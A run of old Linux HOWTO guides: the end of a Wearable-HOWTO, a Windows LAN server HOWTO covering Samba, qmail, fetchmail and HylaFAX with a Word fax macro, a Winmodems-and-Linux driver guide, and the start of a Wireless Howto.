    • My friend Manu Coutris for his never ending patience and kindness.
    • "Old Crocodile" Virgile for his wyse and smart advices.
    • The people of the Wearable community whose discussion and web sites strengthen my confidence in the wearable concept.
    • Professor Steve Mann for his patience and for beeing one of the pionners in the Wearable Computing field. I also wish to thank him for the wearcompdef, wearcompfaq and wristwatch wearable links.
  • The The Sulawesi project. section is written by Neill Newman <njnewm@essex.ac.uk>
  • The CLI only. section is written by Manu Coutris <coutris@ie2.u-psud.fr>


Wearable-HOWTO.: Copyright, Disclaimer and Trademarks

 Next Previous Contents

23. Copyright, Disclaimer and Trademarks

Copyright © 1999-2000 by Lionel, trollhunter Bouchpan-Lerust-Juéry. This document may be distributed under the terms set forth in the GNU Free Documentation Licence http://www.gnu.org/copyleft/fdl.txt .

This documentation is distributed in the hope that it will be useful, but without any warranty. The information in this document is correct to the best of my knowledge, but there's a always a chance I've made some mistakes, so don't follow everything too blindly, especially if it seems wrong. Nothing here should have a detrimental effect on your computer, but just in case I take no responsibility for any damages ocurred from the use of the information contained herein.

In this document you will encounter some commercial products and brands. Theses products are cited for information purpose, it is not an endorsement from the author. The trademarks belong to their respective owners.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being : "Foreword", "What is a Wearable anyway ?", "Advocacy", "What CPU ?", "Power supply", "Os.", "The Sulawesi project.", "CLI only.", "Input", "Audio Output", "Visual Output", "Comms.", "How can I have my Wearable ?", "PalmPilot and its clone ( IBM, HandSpring, TRG ): a new breed of wearables.", "How to carry my wearable ?", "Applications with Wearables.", "A borg's life.", "Nanotechnology: one step beyond.", "Sources of Information.", "To do List.", "Revision History.", "Thanks and Credits.",

, with the Front-Cover Texts being "title" and "abstract" , and with no Back-Cover Texts .


Windows LAN server HOW-TO

by Ryan Cartwright, crimperman@enterprise.net

v0.1, 21 September 2000

This document is intended to assist those who wish to consider Linux as a server within an office environment which has PC's primarily running Microsoft Windows 9x.

1. Dedication

2. Introduction

  • 2.1 The Scenario
  • 2.2 The Options

3. The Linux Option

  • 3.1 Research is the key
  • 3.2 The tools
  • 3.3 Convincing the boss
  • 3.4 Which distribution?

4. Installation

  • 4.1 RedHat
  • 4.2 Samba
  • 4.3 E-mail
  • 4.4 Faxing

5. Is that it?

6. Conclusion

7. References


Windows LAN server HOW-TO: Dedication

 Next Previous Contents

1. Dedication

This document is dedicated firstly to Jesus Christ, my Lord and Saviour, thanks to Him I have the ability to do this. It is secondarily dedicated to the authors of the various utilities and documents referred to here. Thanks to them I have the tools to do it.


Windows LAN server HOW-TO: Introduction

 Next Previous Contents

2. Introduction

Linux is gaining increasing popularity within the workplace. Primarily it is deployed within the Internet marketplace at server level but it is beginning to make in roads into other areas such as internal network servers and desktop workstations. With this in mind and for reasons given below, my company decided to deploy a Linux based LAN server into our Windows9x based network. I started this project with basic knowledge of Linux and some knowledge of Unix. During the course of the project it ocurred to me that some sort of document describing the tasks involved would be helpful. I could not find such a document and hence wrote this one.

What you will not find here is a repeat of installation and configuration documentation for the various tools and utilites used. I see no reason to repeat that but have instead opted to include problems encountered whilst installtin or configuring these and workarounds/soultions for those situations.

2.1 The Scenario

It will probably be helpful to give a short background of the environment in which the new server will be deployed.

Some 35 PC's are linked in an Ethernet LAN across a sprawling site. Like many offices this one started with a single PC and grew bit by bit into the current environment. For reasons of speed, convenience and cost a peer-to-peer network was employed. Users share directories and printers across the network using share level access.

One of the PC's became designated as a "server" (from here on I shall refer to this as the "serverPC"). Peer-to-peer networks have no server as such and thus this PC was identical to the others except that it had no consistent user. It was used to store common files (templates, small database files etc.) for use by all users and also contained the Microsoft Mail postoffice directories for the internal mail system. Networking faxing was also routed through this PC by means of Microsoft Fax and more recently, internet e-mail distribution was added by means of a mailserver utility which connected periodically to an external mailserver and redistributes the mail accordingly. It also shares a printer for use by the majority of users in the vicinity. The client side of the mail and fax systems was handled by Microsoft Outlook.

Increase of traffic through the serverPC especially internet mail increased to the point where file access slowed and users could not always log onto the internet mailserver. At first the internet mailserver program was suspected but further tests proved this to be untrue. Users were becoming increasingly frustrated and subsequently handing these emotions onto the IT support people.

There was also a secondary issue to consider. Having a designated serverPC meant from the management viewpoint a perfectly good PC was "doing nothing" because nobody was sitting at it. A decision was made to allow occasional users to use this PC as a workstation. The PC would sometimes lock during these occasional uses as a workstation meaning the loss of access to important files to all users while it was rebooted and subsequently database and file locks would need to be cleared to allow users to get back to their data.

2.2 The Options

The situation called for some kind of remedy. At the most basic level the options were simply "repair or replace" and as is often the case, there was funding limitation.

Repair

Repair is at first glance the quickest and cheapest option but it is rarely easy, especially if you are unsure of the exact cause of the problem. As a workstation there was nothing "wrong" with this PC but as a server it often seemed overwhelmed. The situation could have been partially solved by installation of a network switch to speed the network traffic but could have possibly resulted in creating a bottleneck at the serverPC as it struggled to keep up with traffic demand. The PC was running Windows98 which as a desktop environment is perfectly adequate but as a server starts to struggle. At best it was considered that this option would only postpone the problem for a while especially if network growth continued.

Replace

Replacing the serverPC with a dedicated server and establishing a client-server relationship would allow for the expected increase in network size and traffic. Traditionally a dedicated server would involve some considerable outlay as the options here were either WindowsNT or NetWare. Recently Linux has come very much into the spotlight and it provided an alternative replacement strategy.


Windows LAN server HOW-TO: The Linux Option

 Next Previous Contents

3. The Linux Option

Linux is a Unix clone and as such the incorporates the excellent netwroking abilities of the latter. It is this trait (among others) which has lead to its' increasing deployment in the Internet server market. It could provide a low cost replacement strategy for the problem at hand and yet allow for the expected network growth at little or no extra cost.

That Linux was an effective and cost-effective server solution was not in question but we need to know whether it could provide a specific solution in this case. Could Linux fulfill all the roles provided by the current serverPC, including file-serving, internal mail, network faxing and Internet mail redistribution. Initial enquiries showed that it could and so the question became less of "can Linux do it?" and more "can I make Linux do it?".

3.1 Research is the key

Before presenting any argument for deployment to management it seemed prudent to research said argument. This would serve the additional purpose of educating myself in the finer details of Linux Administration. My Linux experience stemmed from a few months use at home and as Linux was not in use within the company I was to all intents and purposes the Linux expert.

I started my research lurking at newsgroups, particularly uk.comp.os.linux (u.c.o.l.).Although lurking can be frowned upon in some circles it is something I recommend in early stages of a project like this. Reading other peoples questions and answers gives valuable insight into your approach to future projects you may encounter. They say it is a fool who does not learn from others mistakes. In addition I had a copy of the book "Learning RedHat Linux" published by O'Reilly (http://www.ora.com). This book was used when installing my home version of Linux and is excellent for this purpose. It also contains a very significant chapter on Samba - a networking application which allows Linux to act as a fileserver for Windows9x PCs. I also made extensive use of the Linux Documentation Project (LDP - http://www.linuxdoc.org) especially the Linux Users Guide, the System Administrators Guide and the Network Administrators Guide.

The importance of further reading

I cannot stress enough the importance of the research to the outcome of the overall project. There are many phrases and anecdotes which accurately summarise this, including "forewarned is forearmed" and the five P's (proper preparation prevents poor performance).

3.2 The tools

My initial research revealed the direction I should go and what specific programs I should learn more about. These included:-

  • Samba (for file and printer serving),
  • qmail (for mail delivery - MTA)
  • fetchmail (for collecting Internet mail from our ISP mailboxes)
  • mgetty+sendfax or HylaFAX (for faxserving)

Although there were alternatives, these were the most recommended and a quick question to u.c.o.l. confirmed these as good choices. I was aware that network fax serving could be done and that tools were available - articles in Linux Journal helped as did advice from u.c.o.l. users.

3.3 Convincing the boss

This proved to be one of the most anxious tasks of the early stages. It was one thing to bring myself to the realisation that Linux provided the best solution and quite another to consider guiding my boss(es) to the same conclusion.

Although there was virtually no outlay cost involved (always a good stumbling block to remove) there was the matter of time. The project would involve certain amounts of time for me to learn as I went and this in turn would involve a longer overall timescale before the solution was in place.

The temptation was to point out the faults of the existing solution and then present the Linux proposal as an all conquering hero. This was unlikely to work as it could have been interpreted as me pushing a solution simply because I liked the idea. In addition had I presented this argument any delay (or pecieved one) in deploying the Linux server would be harder to explain. I had to present my argument as a benefit for the company. To this end I could use the existing problems but I had to be careful to avoid a "Linux for Linux sake" point of view.

As it happened all my concern was for nothing - during a conversation about the existing server the IT manager suggested the very solution I was about to argue for! However he did require some reassurances which were all along the lines I have discussed here. Your situation will of course be different but in any case it must surely be beneficial to present as objective an argument as possible.

3.4 Which distribution?

I chose to use RedHat 6.0 for this project. This was down to a very simple reason - I already had a copy and could therefore get started quicker. Also I was used to it as I had been using it at home. I can see no real reason why in this case one distribution should be used over another except for personal preference. There are some server editions of several distributions and again use of these is in the realms of personal preference. I have limited experience of various distributions and thus feel inadequately qualified to make a recommendations, my advice would be that you may want to eliminate as many unknowns as possible and thus learning the nuances of a different distribution may cause further hindrances.


Windows LAN server HOW-TO: Installation

 Next Previous Contents

4. Installation

4.1 RedHat

I assembled a PC from bits lying around the IT stores - a fun exercise in itself - and ended up with a test system of P133, 32MB Ram and 540MB HD. I was planning on replacing the HD with a much larger one but wanted to test the installation on the rest of the system first.

Having installed RH6 before a few times I *knew* this would be a breeze...I believe "famous last words" is the phrase I am looking for here! Installation seemed fine but on 1st boot (and subsequent ones) I encountered "invalid compressed format" errors as the system tried to Uncompress Linux. This evolved into a system that hung at boot with a "LI" prompt and a few questions on UCOL highlighted this problem as being a drive geometry problem. The system could boot from an MSDos bootdisk launching Linux from LOADLIN but this was far from acceptable. A 1GB hard disk was used instead.

A secondary problem was the NIC. The one I first used was a Realtek8019 ISA card, this is an NE2000 compatible card and thus *should* use the ne2000 driver. After much trying and even a kernel recompile the card refused to work with said driver, so I swapped it with a D-Link DT-530 PCI card from another PC. This card was reported to work with the 'tulip' driver. However the RedHat install procedure could not detect it. A quick look on the D-Link website pointed to the latest via-rhine driver as a solution. This was downloaded and compiled and installed along with the pci-scan driver file from the same site (http://www.scyld.com/network/via-rhine.html). This site also contains excellent installation notes. With the new drivers in place the machine was up and running and a few ping tests proved the NIC was running fine.

4.2 Samba

Version 2.0.3 was installed as part of the RedHat installation and because this was a trial run I saw no reason to download the latest (at time writing this is 2.0.7). smbclient was not installed as there would be no reason for the Linux box to access shares on the Windows PC's. Configuration was a breeze thanks to the SWAT utility which is accessed by pointing a web browser at port 901 (ie: http://localhost:901). I was even able to access and configure this from one of the Windows boxes across the network (http://<ip address>:901).

Samba configuration

For some reason our users have a habit of not exploring the network beyond their workgroup - even though they often can. To avoid confusion on their part and to keep accidents to a minimum the server was put in it's own workgroup. There are much excellent documentation on setup and configuration of Samba and thus I refer the reader to those rather than repeat the information here.

As our PC's all have static IP addresses and users are primarily seated in front of the same PC every day I opted for the share security option in Samba. This has the danger of leaving resources open for anyone browsing the network so I also employed the hosts-allow feature in the globals section. This was restricted to those on our network using a partial IP address. Shares were enabled pointing to various directories all under a new /resources directory.

Microsoft Word templates

All the shares worked fine except when it came to templates for MS Word97. Word has a feature where you can set a Workgroup Templates location in its options. The problem was that if that pointed to a Samba share, the share could not be at top level (ie: //SERVER/template). When you clicked File|New, MSWord would report that it could not open the templates in the location selected yet you could open a template from that location through File|Open. This was further confused because you could navigate to said top level share in Explorer and double click on the template file and Word would create a new document based on your selected template. The workaround was found to be as simple as sharing the parent of the template directory and setting Word to look through that path (ie: //SERVER/resource/template). Despite much amending of file permissions and usernames it seems this is the only way to get this to work. I remain unsure as to which end causes the problem, Word seems a likely culprit (because everything else can use the files okay) but Samba can also be pointed to (because a Windows top level share will work in Word).

4.3 E-mail

qmail was chosen as the Mail Transport Agent (MTA) over sendmail which was supplied with RedHat. This is primarily because the former has a reputation for easier configuration and better security than the latter.

qmail

The latest source files were downloaded via a mirror of http://www.qmail.org and compiled and installed. There is plenty of documentation supplied with qmail but I chose to also use Life With Qmail (http://web.infoave.net/ dsill/lwq.html). This document is similar to a hoot and was probably the most useful document for our purposes.

Qmail installed easily enough but I encountered a few minor problems with using it. I configured it, for performance and reliability reasons to use Maildir as the default delivery. The good old standard mail program does not recognise this type of delivery and thus it took me a while to figure out why my mail was being sent but I could not see it. The solution was to use mutt (http://www.mutt.org) which does support Maildir. Of course this was a minor problem as the users would not be using the Linux box to read their mail but rather get it through a pop client (MS Outlook) on their Windows workstations.

fetchmail

Fetchmail was used as a collection agent and installation and setup of this was a breeze, especially when I found out about fetchmailconf :o). We do not require mail collection at all times but prefer to collect at set intervals. To facilitate this fetchmail is called using the -d switch by a cron job everyday and stopped by another one.

We collect our mail from ten mailboxes on our webhosts server, one of these is a bulk redirect where anything addressed to our hostname but not to one of the other nine specific addresses is deposited. fetchmails multidrop facility was employed to allow us to download all the mail from this mailbox and then smtp it to qmail using the intended recipients address. One problem we encountered was sending mail from our new qmail server to our salespeople. They collect their mail direct from the webhosts yet their domain is the same as everyone else's. This meant that every time a local user tried to send a message to one of the salespeople, qmail tried to find a local username to pass the message to and, upon finding no matching user, bounced it to the postmaster. The solution was to use a secondary e-mail address for the salespeople. Our webhosts do not provide dial-up services so our salespeople each have their own free ISP account to get access to the web. This account provides them with an address on a different domain and so qmail was able to forward all mail for them to this address using the alias files.

Note: To make life easier for the salespeople our webhosts redirected all mail coming to their mailbox for these people to the free ISP mail address - this meant the salespeople weren't 'confused' by having to juggle multiple accounts and addresses on their notebooks - bless 'em :o).

4.4 Faxing

The old serverPC used Microsoft's network faxing to share a fax service across the network. Users then used MS Word templates (which had VBA macros) to create and send faxes automatically, errors were mailed to the user. To provide and equal if not better service on the new server I chose mgetty+sendfax to provide the local faxing service. This installed easily and I was soon able to spool faxes from the Linux server. Spooling from Windows clients was to prove a much tougher nut to crack and resulted in a change from the original choice.

Faxing from Windows clients

The previous arrangement shared a fax modem from the serverPC using Microsoft Fax under MS Outlook to provide fax services to all Windows clients. Further to this we used a standard Word97 template which had a macro attached for automatic sending of faxes. Utilising the Sendfax VBA command, this macro meant users had only to fill in the template and hit the "fax now" button on their Word toolbar to send a fax. They didn't have to deal with any third party programs which asked them to repeat everything they had just typed into the template. This arrangement thus provided seamless faxing to the user and it was one I was keen to continue.

Ideally what I wanted to do was have some way of passing the intended document, the username and the fax number to faxspool on the Linux box from the Windows client applications. The traditional way to provide fax services to any Windows app is to setup a "printer" which points to the fax modem.

HylaFAX

Originally I installed mgetty+sendfax to use as a fax server. This was primarily because it is supplied with RedHat 6 and so was readily available. Unfortunately it proved to be unsuitable for our particular use as we required some way of sending faxes to the faxserver using Microsoft Word macros. There are some excellent Windows clients for mgetty+sendfax but alas they all require the user to enter the fax number etc. each time a fax is sent. I wanted a solution to match our current one where the user fills in a Word template, hits a button and the macro reads the fax number from the document and uses the VBA Sendfax command to send the fax via MS Fax.

After much deliberating and searching I was pointed toward HylaFAX (http://www.hylafax.org) which has a windows client WHFC (http://www.transcom.de/whfc/). This client allows for communication through VBA macros which was exactly what I wanted. Hylafax installed okay although I had some rather annoying client access problems. These were solved by ensuring the client IP addresses were correctly added to not only /var/spool/fax/etc/hosts (as indicated in the man pages and FAQ) but to /var/spool/fax/etc/hosts.hfaxd. Once this was done I was up and running in no time. WHFC installed very easily and was set-up in seconds.

Word macros

As mentioned, our users are accustomed to being able to hit one button to send a fax document from within MS Word97, it was important to keep this feature available with the new server. WHFC has OLE capabilities and thus we were able to write a new macro which allowed the user to send a fax from within Word without having to enter the fax details into a secondary popup box. The macro does two things - first it prints the current document to a file, then it uses WHFC's SendFax OLE function to send the printed file to HylaFAX. The printer driver we use is the Apple Laserwriter 16/600(ps) one as recommended in the WHFC setup notes.

Here is the macro code we use ...

Sub Spool_fax() ' Spool_fax Macro ' Macro created 09/08/00 by Ryan Cartwright

Dim givenfax, realnum As String
Dim whfc As Object
Dim OLE_Return As Long
Dim Box_Return As Integer

' First we print the document to a local file - note that Background must be false ' otherwise the function will return before the file is entirely written ' and thus HylaFAX will be unable to convert it properly. Application.PrintOut FileName:="", Range:=wdPrintAllDocument, Item:= _ wdPrintDocumentContent, Copies:=1, Pages:="", PageType:=wdPrintAllPages, _ Collate:=True, Background:=False, PrintToFile:=True, _ OutputFileName:="c:\faxtemp\printout.ps", Append:=False

' In our template the user is asked by an Autonew macro for the faxnumber etc. ' the field number for the faxnumber is 8, we need to retrieve this ' and add a 9 to the front of it Set givenfax = ActiveDocument.Fields(8).Result realnum = "9" + givenfax

' Now we create the OLE object and call the Sendfax() routine Set whfc = CreateObject("WHFC.OleSrv") OLE_Return = whfc.SendFax("c:\faxtemp\faxoutput.ps", realnum, False)

' Finally we test the returned value and report accordingly
If OLE_Return &<= 0 Then
     Box_Return = MsgBox("Error sending file", 16, "FAX Not Spooled")
Else
     Box_Return = MsgBox("Fax Job ID:" &amp OLE_Return &amp Chr(13) &amp "You will be notified by email if it was successfully sent", 0, "Fax spooled")
End If
Set whfc = Nothing
End Sub


Windows LAN server HOW-TO: Is that it?

 Next Previous Contents

5. Is that it?

That pretty much covers the installation and configuration of all the tools and utilities required to get our new server up and running. Having said that there is more to a good server than just the tools to do the job required. I advise you read the afore-mentioned Linux System Administrators Guide especially chapter 10 - backups!


Windows LAN server HOW-TO: Conclusion

 Next Previous Contents

6. Conclusion

The Linux server was in place some two months after starting this project. I am sure this could have been days if I had known what I was doing but I would recommend to anyone considering a similar project to allow themselves a good time period. This is especially applicable if like me they have cut their support teeth in Windows. Linux is not difficult to use, just different and the transition from Windows takes time. Read the excellent documentation around before you start and also you may find it more beneficial to try this step by step on a secondary machine whilst your old one is still running elsewhere. Migrating is a better approach than a straight swap.


Windows LAN server HOW-TO: References

 Next Previous Contents

7. References

  • Linux Documentation Project - http://www.linuxdoc.org
  • Freshmeat - http://www.freshmeat.net
  • qmail - http://www.qmail.org
  • HylaFAX - http://www.hylafax.org
  • Samba - http://www.samba.org


The Winmodems-and-Linux HOWTO

Alexandre J., alexandre12@mageos.com

v1.2, 29 April 2001

This document helps users who have a Winmodem for getting it working under Linux.

1. What are Winmodems ?

  • 1.1 They are modems...
  • 1.2 ...not as real modems are !
  • 1.3 How to know I have a Winmodem

2. ISA or PCI ?

  • 2.1 PCI ?
  • 2.2 or ISA ?
  • 2.3 ISA and 2.4 kernels

3. Installing a modem driver

  • 3.1 ltmodem 5.78
  • 3.2 The LT WinModem (from Lucent) 5.68 (OBSOLETE)
  • 3.3 The LTMODEM program (OpenSource driver)

4. The end...

  • 4.1 Licence, Copyright
  • 4.2 Contact
  • 4.3 Resources


The Winmodems-and-Linux HOWTO: What are Winmodems ?

 Next Previous Contents

1. What are Winmodems ?

1.1 They are modems...

A Winmodem, like other modems, is used for accessing to phone services, as BBS, Internet, Voice Phone, Fax, etc. It is raccorded to a phone line and is caracterized by its speed. If you want to learn more about modems, I report you to the Modems-HOWTO.

1.2 ...not as real modems are !

But they are WINmodems. That is, they need Windows to work. Why ? Simply because they are stupid. They need a special software, a driver, to accomplice their complete task. Who says software says OS, and the drivers included with the modem are, at 99%, exclusively for the MS-Windows platform. But with the democratization of Linux, some manufacturers, like LT or Motorola, decided to create a linux driver for their modems. But they have not understand linux philosophy: the drivers they provide works, of course, but they are 'Closed Source'. They are free, at the sense of the price, but not under the GPL. It means that the sources are not available.

So, some 'hackers' decided to make an Open Source driver, but they do not know a lot about their modems, because manufacturers don't want to communicate the specifications of their modems, so the OpenSource drivers are often in the alpha or beta status.

1.3 How to know I have a Winmodem ?

1. Try to get the name of the serial port where your modem is connected (under Windows or MSDOS, example: COM1 COM2, ...).

The name of your modem under Linux is /dev/ttySx, where x is the number of the serial port under DOS, - 1. < Example: Under DOS: COM1, under Linux ttySx, with x=1-1, so ttyS0

2nd example: Under DOS: COM3, under Linux ttyS2

and so on

2. Make a symlink from /dev/ttySx to /dev/modem, by typing

rm -f /dev/modem<p>
ln -s /dev/ttySx /dev/modem

3. Download and install the minicom package. Then run 'minicom -s'.

Choose 'Serial Port Setup', type 'A' for setting 'Serial Device', delete all the line, and type '/dev/modem'. Then validate by [Enter]. Type [Esc], and choose 'save setup as dfl, then choose 'Exit'.

Wait a little time, then type 'AT' if the modem answers 'OK' then you have NOT a Winmodem, you have a standard modem...

If the initialisation time takes too long, then you have a Winmodem. Use this document for try making it useful. Log in as root.

4. Exit from Minicom by typing CTRL+A, then X.


The Winmodems-and-Linux HOWTO: ISA or PCI ?

 Next Previous Contents

2. ISA or PCI ?

2.1 PCI ?

Ok, now we have a Winmodem... But there are two types of Winmodems: ISA or PCI. For making the things harder, the two interfaces are pretty different. So, we'll now test if we have a PCI or ISA modem. First, you must configure your kernel. During the make *config, you must answer 'yes' to the following questions:

  • In Loadable module support: 'Enable loadable module support (CONFIG_MODULES)', and 'Set version information on all modules for symbols (CONFIG_MODVERSIONS)' (note that you must have the modutils package installed ; See the Kerneld-HOWTO)
  • In General setup:

    'PCI support' (CONFIG_PCI)

    Choose 'Any' in 'PCI Access Mode' (CONFIG_PCI_GOBIOS)

    'PCI quirks' (CONFIG_PCI_QUIRKS)

    'Backward compatible /proc/pci' (CONFIG_PCI_OLD_PROC)

  • If you can config PCI Device Name Database (maybe with a 2.4+ kernel), your can say Y, this will make your /proc/pci file easier to understand (CONFIG_PCI_NAMES).
  • In Filesystems

    '/proc filesystem support' (CONFIG_PROC_FS)

If you have never recompiled your kernel, maybe the kernel of your distribution will contains this. If you want to recompile it and you have never done it, read the Kernel-HOWTO.

Now, we assume that your new kernel is installed.

Now run 'cat /proc/pci'. If you see the name of your modem in the lines returned by the command then you have a PCI Winmodem. Jump to 'Installing the driver'

2.2 or ISA ?

If you don't find it, maybe you have an ISA modem. How to be sure ?

ISA support is not assumed by the Kernel (UPDATED: if you have a 2.4.x kernel, the kernel can do it automagically for you, if so, skip this section and read the next). It is a third-party software, named isapnp, who does it. First you must be sure that you have this package installed. If not install it by downloading the isapnptools package.

Once isapnptools is installed, we'll run a special program, pnpdump, who inspects your computer for finding ISA devices. Then it tries to guess the resources used by the devices and prints them to a file, /etc/isapnp.conf. Then you edit this file and run an other program, isapnp, which reads the isapnp.conf file and auto configure your devices.

Eh ? It sounds hard ? Then follow these steps:

1. Run 'pnpdump > /etc/isapnp.conf'.

2. Edit it with your favourite text editor

3. Locate the section where your modem is described.

4. Uncomment some lines in the file (Remove the # at the beginning of the line. You need:

1 line '(IO 0 ...)'

1 line '(INT 0 ...)'

1 line '(DMA 0 ...)'

1 line '(DMA 1 ...)'

1 line '(IO 1...)'

5. Remove the '(CHECK)' in all uncommented IO lines

6. Run 'isapnp /etc/isapnp.conf'. If you get errors, edit the file isapnp.conf and try changing parameters, help you with the error message. If you get no errors, edit isapnp.conf and uncomment the '(ACT Y)' line in the secton of your modem. Then re-run 'isapnp /etc/isapnp.conf'. It must answer you " [[Name of your modem]] Enabled OK"

7. Add 'isapnp /etc/isapnp.conf' to your /etc/rc.d/rc.local, by typing 'echo "isapnp /etc/isapnp.conf" >> /etc/rc.d/rc.local'. It is useful for auto-configuring your devices at each startup

If it can help , here is an extract of my /etc/isapnp.conf file (I have commented this file, and original file comments are preceded by ##)

# Snip details ...
## (DEBUG)
(READPORT 0x0203)
(ISOLATE PRESERVE)
(IDENTIFY *)
(VERBOSITY 2)
(CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING

# Identification of my modem card

## Card 1: (serial identifier e2 00 00 01 00 05 50 c3 1e)
## Vendor Id GVC5005, Serial Number 256, checksum 0xE2.
## Version 1.0, Vendor version 0.1
## ANSI string -->LT Win Modem<--
##
## Logical device id HSM0140
##     Device support I/O range check register
#

# We want to configure the GVC5005/256 card

(CONFIGURE GVC5005/256 (LD 0

# I/O Base address 0x03f8, with a range of 8
(IO 0 (SIZE 8) (BASE 0x03f8) )
# IRQ 4
(INT 0 (IRQ 4 (MODE +E)))
# DMA 5
(DMA 0 (CHANNEL 5))
# DMA 7
(DMA 1 (CHANNEL 7))
# I/O Base Address 2  0x0100, range 8
(IO 1 (SIZE 8) (BASE 0x0100) )
# Name of the card
 (NAME "GVC5005/256[0]{LT Win Modem        }")
# Activate it
(ACT Y)
# End configuration
))

######## The parameters for my other ISA devices ##############

## Returns all cards to the "Wait for Key" state
(WAITFORKEY)

2.3 ISA and 2.4 kernels

If you have a 2.4 kernel (launch 'uname -r' to get your kernel version), you don't have to do this tricky textfile-based and third-party package installation, since 2.4 series introduce a method similar to the PCI, and obsoletes the isapnptools package. To get this feature, you have to say 'Y' or 'M' to the 'Plug and Play support' (CONFIG_PNP) and 'ISA Plug and Play support' (CONFIG_ISAPNP) during kernel configuration (it is in 'Plug and Play configuration' section). Again, recompile your kernel and install it. If you said 'M' to ISA Plug-and-Play support, it should be good to do a 'modprobe isapnp'. You have to have a driver compliant with this new device access method (eg. the ltmodem 5.78, read the next section).


The Winmodems-and-Linux HOWTO: Installing a modem driver

 Next Previous Contents

3. Installing a modem driver

You have not to read this section entirely; just read one matching with your modem. For the moment, it just describes how to install a LT Modem, using the Lucent and OpenSource driver. If you have written or used an other Winmodem driver, Open or Closed Source, you can email me (alexandre12@mageos.com), and I will include it in this section.

3.1 ltmodem 5.78

URL: http://www.tux.org/pub/dclug/marvin/ltmodem-5.78e.tar.gz

Author: Lucent

License: Non-GPL

Supports: ISA/PCI modem, with a Lucent chipset (Mars family)

Features: Kernel module; simulate a serial port. Does PPP, Fax and Voice

Current Version: 5.78e

Documentation: README-1ST

Requires: 2.2.x or 2.4.x; ISA PNP Support; Loadable module support; C Compiler

How-to-use: Read README-1ST. It is very clear.

Problems:

  • Unresolved symbols: xxx_isapnp_xxxx: run modprobe isapnp.
  • Device or ressource busy: your modem is not compliant with the driver
Comments: Lucent, this time, avoid kernel version and distribution problems by providing the source for some elements.

3.2 The LT WinModem (from Lucent) 5.68 (OBSOLETE)

URL: http://www.linmodems.org/linux568.zip

Author: Lucent Technologies

License: Non-GPL

Supports: ISA/PCI modems, with a Lucent chipset (Mars family)

Features: Kernel module; simulate a serial port. Does PPP, Fax and Voice

Current version (as far as I know): 5.68

Documentation: README

Requires: A 2.2.12 or higher RedHat kernel; loadable module support

How-to-use: Unzip the package ('unzip linux568.zip'), and run ./ltinst. That's all !

Problems:

  • 'insmod: ltmodem: Unresolved symbol(s) *****': You have not a kernel matching with ltmodem. Get the 2.2.12 kernel from ftp.kernel.org, compile and install it
  • 'Warning: kernel version mismatch...": It is simply because ou have not the 2.2.12-20 kernel. It's only a warning, and it doesn't make the modem failing
  • 'ltmodem: init_module: device or resource busy':
    • You have no lt modem or compliant installed
    • If you have a ISA modem, it is not configured by isapnp
    • If you have a PCI modem, the PCI support in the kernel was not configured

3.3 The LTMODEM program (OpenSource driver)

URL: http://www.close.u-net.com

Authors: Richard Close and Pavel Machek

License: GPL

Supports: ISA/PCI modems, with Lucent chipsets (Mars family)

Feature: User-space driver; does Voice calls; does not PPP (V90)

Current version (as far as I know): 0.99

Documentation: README

Requires: GNU C Compiler, automake

How-to-use:

  • PCI: make ; make install - Then use the 'ltmodem' program to communicate with the modem
  • ISA: (read the README.ISA file) mv Makefile Makefile.PCI ; mv Makefile.ISA Makefile ; edit config.h and change for the correct values for your modem (I/O Address, DMA, IRQ) ; make ; make install - The use 'ltmodem' program to communicate with the modem.

Problems:

  • "Sorry, I can't found any modem...":

    • You have not LT modem
    • You have an ISA modem not configured by isapnp
    • You have an ISA modem configured ; but ltmodem was not compiled as ISA
    • You have a PCI modem with no PCI support included in the kernel
    • You have a PCI modem and a compliant kernel, but ltmodem was not compiled as PCI


The Winmodems-and-Linux HOWTO: The end...

 Next Previous Contents

4. The end...

4.1 Licence, Copyright

Copyright (C) 2000, 2001 Alexandre J.

This program is free software; you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

the Free Software Foundation; either version 2 of the License, or

(at your option) any later version.

This program is distributed in the hope that it will be useful,

but WITHOUT ANY WARRANTY; without even the implied warranty of

MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

GNU General Public License for more details.

You should have received a copy of the GNU General Public License

along with this program; if not, write to the Free Software

Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

4.2 Contact

If you have any ideas about this document, please email me: alexandre12@mageos.com.

4.3 Resources

  • The Linmodems project home page: http://www.linmodems.org

  • The LTModem project home page: http://www.close.u-net.com

  • The Lucent Technologies home page: http://www.lucent.com

  • The Linux Kernel: http://www.kernel.org

  • The isapnptools home page: http://www.roestock.demon.co.uk/isapnptools

  • The LDP Home Page (for getting HOWTOs): http://www.redhat.com/mirrors/LDP


Wireless Howto

Roberto Arcomano berto@fatamorgana.com

v1.41, May 15 2002

Wireless is a new technology in networking cards, with high speed rate (up to 11 Mbps). This document explains how to setup Wireless in Linux, compatibility problems, something about geographic requirements and more. Latest release of this document can be found at http://www.fatamorgana.com/bertolinux

1. Introduction

  • 1.1 Introduction
  • 1.2 Copyright
  • 1.3 Translations
  • 1.4 Credits

2. Background Knowledge

  • 2.1 What about Wireless?
  • 2.2 What's the max distance between radio cards?
  • 2.3 What's the difference between wired and Wireless network?
  • 2.4 What I need to know to setup a Wireless network?
  • 2.5 Why should I setup a Wireless network and what I expect from it?
  • 2.6 What Wireless cards are covered by this howto?
  • 2.7 How much do they cost?

3. Technical info about Wireless

  • 3.1 Physical Layer
  • 3.2 Configurations
  • 3.3 Compatibility
  • 3.4 Should I use Adhoc or Infrastructure?
  • 3.5 A Linux Box cannot act as an AccessPoint?

4. Toolbox required

  • 4.1 Hardware requirement
  • 4.2 Software requirement

5. Overview on Wireless network setup.

  • 5.1 Fundamental steps
  • 5.2 Low Level Kernel Config
  • 5.3 Data-link level setting
  • 5.4 Ip setting

6. Setup

  • 6.1 General setup info
  • 6.2 Proxim Symphony
  • 6.3 Webgear Aviator 2.4 and AviatorPro
  • 6.4 Lucent Wavelan I, II, Orinoco products and Cabletron
  • 6.5 YDI

7. More about Wireless

  • 7.1 A Wireless Linux distribution

8. Useful links

  • 8.1 Open software link
  • 8.2 Commercial link

9. FAQ - Frequently asked questions

10. Appendix A - Netmask 255.255.255.255, proxy arp and bridging

11. Appendix B - Siemens DECT Radio Modem


Wireless Howto: Introduction

 Next Previous Contents

1. Introduction

1.1 Introduction

